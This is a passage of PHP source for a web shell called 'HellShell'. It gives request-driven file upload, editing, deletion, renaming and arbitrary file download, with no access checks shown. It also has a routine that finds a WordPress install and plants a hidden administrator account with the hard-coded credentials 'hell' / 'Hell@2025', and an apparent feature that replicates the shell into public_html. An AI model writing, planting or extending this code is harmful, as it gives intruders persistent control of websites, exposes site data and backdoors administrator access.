✔ File uploaded";
}
}
// === CREATE FOLDER ===
if (!empty($_POST['newfolder'])) {
$newDir = $here . "/" . basename($_POST['newfolder']);
if (!file_exists($newDir)) {
mkdir($newDir);
$msg .= "
✔ Folder created
";
}
}
// === CREATE FILE ===
if (!empty($_POST['newfile'])) {
$newFile = $here . "/" . basename($_POST['newfile']);
if (!file_exists($newFile)) {
file_put_contents($newFile, "");
$msg .= "✔ File created
";
}
}
// === DELETE FILE/FOLDER ===
if (!empty($_GET['rm'])) {
$target = realpath($_GET['rm']);
if (is_file($target)) @unlink($target);
elseif (is_dir($target)) @rmdir($target);
}
// === RENAME ===
if (!empty($_POST['rename_old']) && !empty($_POST['rename_new'])) {
$old = $_POST['rename_old'];
$new = dirname($old) . "/" . basename($_POST['rename_new']);
@rename($old, $new);
}
// === DOWNLOAD ===
if (!empty($_GET['dl'])) {
$f = realpath($_GET['dl']);
if (is_file($f)) {
header("Content-Disposition: attachment; filename=\"" . basename($f) . "\"");
readfile($f);
exit;
}
}
// === FILE EDITOR ===
if (!empty($_GET['edit'])) {
$target = realpath($_GET['edit']);
if ($target && is_file($target)) {
if (!empty($_POST['savefile'])) {
file_put_contents($target, $_POST['filedata']);
echo "✔ Saved " . htmlspecialchars(basename($target)) . "
";
}
$data = htmlspecialchars(file_get_contents($target));
echo "Edit
";
echo "Editing: " . basename($target) . "
";
echo "";
exit;
}
}
// === WORDPRESS ADMIN CREATOR ===
if (!empty($_POST['make_wp_admin'])) {
$wpFound = false;
$search = $here;
while ($search !== dirname($search)) {
if (file_exists($search . "/wp-load.php")) {
$wpFound = $search . "/wp-load.php";
break;
}
$search = dirname($search);
}
if ($wpFound) {
define('WP_USE_THEMES', false);
require_once($wpFound);
$user_login = 'hell';
$user_pass = 'Hell@2025';
$user_email = 'hell@example.com';
if (!username_exists($user_login) && !email_exists($user_email)) {
$user_id = wp_create_user($user_login, $user_pass, $user_email);
if (!is_wp_error($user_id)) {
$user = new WP_User($user_id);
$user->set_role('administrator');
$msg .= "✔ WP Admin Created: hell / Hell@2025
";
} else {
$msg .= "✘ WP user creation error
";
}
} else {
$msg .= "âš WP user already exists
";
}
} else {
$msg .= "✘ wp-load.php not found
";
}
}
// === Breadcrumb Builder ===
function makeCrumbs($path) {
$out = [];
$parts = explode(DIRECTORY_SEPARATOR, trim($path, DIRECTORY_SEPARATOR));
$curr = "";
foreach ($parts as $part) {
$curr .= DIRECTORY_SEPARATOR . $part;
$out[] = "$part";
}
return implode(" / ", $out);
}
?>
HellShell
🔥 HellShell
Path: =makeCrumbs($here)?>
=$msg?>
✅ Replicated into public_html";
foreach ($urls as $u) echo "- $u
";
echo "
";
}
}
?>